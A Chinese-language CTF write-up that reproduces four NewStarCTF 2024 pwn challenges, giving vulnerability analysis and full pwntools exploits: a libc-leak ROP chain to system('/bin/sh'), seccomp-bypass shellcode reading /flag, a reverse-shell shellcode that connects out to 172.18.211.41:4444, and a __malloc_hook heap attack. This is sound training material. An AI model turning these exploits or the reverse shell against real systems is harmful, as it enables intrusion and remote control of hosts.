2024NewStarCTF Week5 Pwn方向复现
1222706425506668 发表于 湖北 CTF 124浏览 · 2024-11-28 08:51

C_or_CPP

题目中的漏洞比较明显

第一个是case2中的函数中printf("C String: %s\n", buf);这里可以带出libcbase

第二个是case5中的函数,使用 cin 输入了字符串,再将它 memcpy 到 dest 字符串中,而 dest 是存放在栈上的,因此存在栈溢出

from pwnlib.util.packing import u64
from pwnlib.util.packing import u32
from pwnlib.util.packing import u16
from pwnlib.util.packing import u8
from pwnlib.util.packing import p64
from pwnlib.util.packing import p32
from pwnlib.util.packing import p16
from pwnlib.util.packing import p8
from pwn import *
from ctypes import *
from Crypto.Cipher import ARC4

context(os='linux', arch='amd64', log_level='debug')
p = process("/home/zp9080/PWN/pwn")
# p=gdb.debug("/home/zp9080/PWN/pwn",'b *$rebase(0x25B8 )')
# p=remote('10.1.104.10',9999)
# p=process(['seccomp-tools','dump','/home/zp9080/PWN/pwn'])
elf = ELF("/home/zp9080/PWN/pwn")
libc=elf.libc 

def dbg():
    gdb.attach(p,'b *0x402A22')
    pause()

# dbg()
p.sendlineafter(b'Please choose an option:', b'2')
p.sendlineafter(b'C++ String input:', b'inkey')
p.sendafter(b'C String input:', b'a' * 0x50)
p.recvuntil(b'a' * 0x50)
libc_base = u64(p.recv(6).ljust(8,b'\x00')) - 0x4b7040
print(f"libc_base --> 0x{libc_base :x}")

rdi = libc_base + 0x000000000002A3E5  #: pop rdi; ret;
rsi = libc_base + 0x000000000016333A  #: pop rsi; ret;
rdx_rbx = libc_base + 0x00000000000904A9  #: pop rdx; pop rbx; ret;
bin_sh = libc_base + 0x001D8678
system = libc_base + libc.sym['system']


p.sendlineafter(b'Please choose an option:', b'5')
payload = b'a' * 0x48 + flat([rdi, bin_sh, rsi, 0, rdx_rbx, 0, 0, system])
p.sendlineafter(b'Try to say something:', payload)

p.interactive()

最后打通,但是用官方wp时发现它的_rtld_global偏移和我不一样,但是我已经完全patchelf了,不知道是什么怎么回事,最后调试看了一眼发现是这个问题改了个偏移就好了

Simple_Shellcode

题目沙盒如图所示

一开始没有认真代码审计,以为只能input一次8字节的东西,然后check,run,所以想法是input这个8字节的就利用系统调用read,然后后面发现了这个mprotect((void *)0xD000721, 0x4000uLL, 6);那么就不能read了。所以题目没有想的那么简单,开始认真代码审计

首先要搞明白这个栈上的buf到底在维护什么东西

可以看到buf在初始化的时候都被清0了

跟进input函数发现有个这个函数

这个逻辑也太熟悉了吧,这不就是常见的代码逻辑中。如果一个东西没有初始化,那么就进行初始化,如果初始化了,那么就走else分支。

我先尝试逆向了一下if分支,因为涉及一些分配空间,所以逆向起来比较吃力,不好看懂在干嘛,导致我整个结构体是什么我都没想明白。

所以直接看else分支,因为初始化肯定涉及一些分配操作,而else分支显然就是实现功能,这就会简单很多。但是其实还是没看太懂

先不管,继续往后看

check函数如下图所示

这里有个 (__int64)(a1[1] - *a1) >> 5; 很奇怪,为什么要右移5位,可以想到32右移5位刚好就是1,那么这个函数就可以想到是得到idx

同时下面的就是GetBlock

通过这几个关键点显然可以推测出,*a1位置处是base,*(a1+8)是会不断加32的地址。每一次input,都会让这里的指针加32。

检测功能中,如果检测到 shellcode 含有非字母或数字,就会删掉这段 shellcode。

发现有可见字符,会进行erase处理,可看到如下所示。

以下内容来自官方wp:

发现 erase 是通过将后面的元素 MOVE 到前面,然后 --finish 实现的

而在程序实现的删除算法中,erase 后没有将 i--,这就会导致,如果 idx=2 的元素被删除了,i++(i=3),而 erase 会将后面的元素 MOVE 到前面,原本 idx=3 的元素会移动到 idx=2,这样会导致原本 idx=3 的元素绕过检测

也就是说,我们将会被删除的元素输入两次,即可绕过检测

这和我们定位到ida反汇编的地方一致,可以发现确实是先把后面一个block的内容复制到前面的block,然后再让idx-1,但是外层循环的i并没有-1,这样就有了漏洞,也是这个题有意思的地方。

明白了这个漏洞后那就是写shellcode了,题目ban了如下系统调用

read,readv,sendfile,preadv,pwritev,pread64preadv2,pwritev2
write
open
execve,execveat

直接openat + mmap + writev就可以了

  • exp
from pwnlib.util.packing import u64
from pwnlib.util.packing import u32
from pwnlib.util.packing import u16
from pwnlib.util.packing import u8
from pwnlib.util.packing import p64
from pwnlib.util.packing import p32
from pwnlib.util.packing import p16
from pwnlib.util.packing import p8
from pwn import *
from ctypes import *
from Crypto.Cipher import ARC4

context(os='linux', arch='amd64', log_level='debug')
p = process("/home/zp9080/PWN/pwn")
# p=gdb.debug("/home/zp9080/PWN/pwn",'b *$rebase(0x25B8 )')
# p=remote('10.1.104.10',9999)
# p=process(['seccomp-tools','dump','/home/zp9080/PWN/pwn'])
elf = ELF("/home/zp9080/PWN/pwn")
libc=elf.libc 

def dbg():
    gdb.attach(p,'b *$rebase(0x3F50)')
    pause()

def sp_input(byte_str):
    for i in range(0, len(byte_str), 8):
        chunk = byte_str[i : i + 8]

        input(chunk)

        if re.search(rb'[^a-zA-Z0-9]', chunk):
            input(chunk)

def input(data):
    p.sendlineafter(b'Choose', b'1')
    p.sendline(data)

def run_code():
    p.sendlineafter(b'Choose', b'2')

shellcode = '''
    mov rsp, rbp
'''
shellcode += shellcraft.openat(0, "/flag")
shellcode += '''
    mov rdi, 0x777721000
    mov rsi, 0x100
    mov rdx, 1
    mov r10, 1
    mov r8, 3
    mov r9, 0
    mov rax, 9
    syscall

    push 1
    pop rdi
    push 0x1    /* iov size */
    pop rdx
    push 0x100
    mov rbx, 0x777721000
    push rbx
    mov rsi, rsp
    push SYS_writev
    pop rax
    syscall
'''

payload = asm(shellcode)

# dbg()
sp_input(payload)
run_code()

p.interactive()

最后打通

No_Output

比较简单,题目直接就是读入shellcode,close(0),close(1),close(2)这是比较常见的板子题,直接反弹shell即可

from pwnlib.util.packing import u64
from pwnlib.util.packing import u32
from pwnlib.util.packing import u16
from pwnlib.util.packing import u8
from pwnlib.util.packing import p64
from pwnlib.util.packing import p32
from pwnlib.util.packing import p16
from pwnlib.util.packing import p8
from pwn import *
from ctypes import *
from Crypto.Cipher import ARC4

context(os='linux', arch='amd64', log_level='debug')
p = process("/home/zp9080/PWN/pwn")
# p=gdb.debug("/home/zp9080/PWN/pwn",'b *$rebase(0x25B8 )')
# p=remote('10.1.104.10',9999)
# p=process(['seccomp-tools','dump','/home/zp9080/PWN/pwn'])
elf = ELF("/home/zp9080/PWN/pwn")
libc=elf.libc 

def dbg():
    gdb.attach(p,'b *0x40184D')
    pause()


# dbg()
shellcode='''
mov rsp,0xD001721
'''
shellcode+=shellcraft.connect('172.18.211.41',4444,'ipv4')+shellcraft.dupsh()

p.sendline(asm(shellcode))


p.interactive()

在本地打通,实际应该需要一个公网的云服务器就行

EldenRing

先是一个hash比较,但是有\x00的截断,所以输入一个字符串,这个字符串sha256后以\x00开头就行

Age_of_the_Stars直接给出了libc地址

Three_Fingers函数就是一个free,但是没有uaf

Two_Fingers函数

这里的漏洞分析来自官方wp,其实就是因为一些长度控制的不严格导致的溢出,因为base64后的字符串长度为(N/3)*4,但是这个N/3是向上取整,所以如果是3 * (SHIDWORD(size) / 4) + 1是不够的,会导致最终溢出。

最终的漏洞就是一个off-by-one,发现这个漏洞后,其实就变成了libc2.23,off-by-one的堆题。此时就想着是错位构造申请malloc_hook然后打one_gadget,但是这个ogg条件不能直接满足,需要用realloc来调整栈帧。

from pwnlib.util.packing import u64
from pwnlib.util.packing import u32
from pwnlib.util.packing import u16
from pwnlib.util.packing import u8
from pwnlib.util.packing import p64
from pwnlib.util.packing import p32
from pwnlib.util.packing import p16
from pwnlib.util.packing import p8
from pwn import *
from ctypes import *
from Crypto.Cipher import ARC4

context(os='linux', arch='amd64', log_level='debug')
p = process("/home/zp9080/PWN/pwn")
# p=gdb.debug("/home/zp9080/PWN/pwn",'b *$rebase(0x25B8 )')
# p=remote('10.1.104.10',9999)
# p=process(['seccomp-tools','dump','/home/zp9080/PWN/pwn'])
elf = ELF("/home/zp9080/PWN/pwn")
libc=elf.libc 

def dbg():
    gdb.attach(p,'b *0x40184D')
    pause()



def cmd(cho):
    p.recvuntil(b'choice')
    p.sendline(str(cho))
def Two_finger(size,cnt):
    cmd(2)
    p.sendlineafter(b's do you want to create for restoration?',str(size))
    p.sendlineafter(b'understand...',cnt)

def Three_finger(idx):
    cmd(3)
    p.sendlineafter(b'Which Rune do you want to destroy?',str(idx))
def Age_of_the_Stars():
    cmd(4)

def Dung_Eater():
    cmd(18)


# chunk 0x31---> rune size 55
p.sendafter(b'ber who you are?', b"q8MkK6e0\x00")
Two_finger(55,b64e(b'a')) # 0
Two_finger(55,b64e(b'a')) # 1
Two_finger(55,b64e(b'a')) # 2
Two_finger(65,b64e(b'a')) # 3

Three_finger(0)
Two_finger(55,b64e(p64(0)*5+p8(0x61))) # 0

Three_finger(1)
Two_finger(109,b64e(p64(0)*5+p8(0x71))) # 1

Three_finger(2)
Three_finger(1)

# ---------------------- leak libcaddr
Age_of_the_Stars()
p.recvuntil(b'0x')
libc_base = int(p.recv(12), 16) - libc.symbols['printf']
hijackaddr = libc_base + libc.symbols['__malloc_hook'] - 0x23
print(hex(libc_base))

# ---------------------- Attack __malloc_hook
Two_finger(97,b64e(p64(0)*5+p64(0x71)+p64(hijackaddr))) # 1 To modifyd

Two_finger(123,b64e(b'a')) # 2
Two_finger(123,b64e(b'\x00'*(0x13-8)+p64(libc_base+0xf1247)+p64(libc_base+libc.symbols['realloc']+6)))#attack chunk

# ---------------------- Trigger
Two_finger(18,b64e(b"a"))

p.interactive()

0 条评论
某人
表情
可输入 255
目录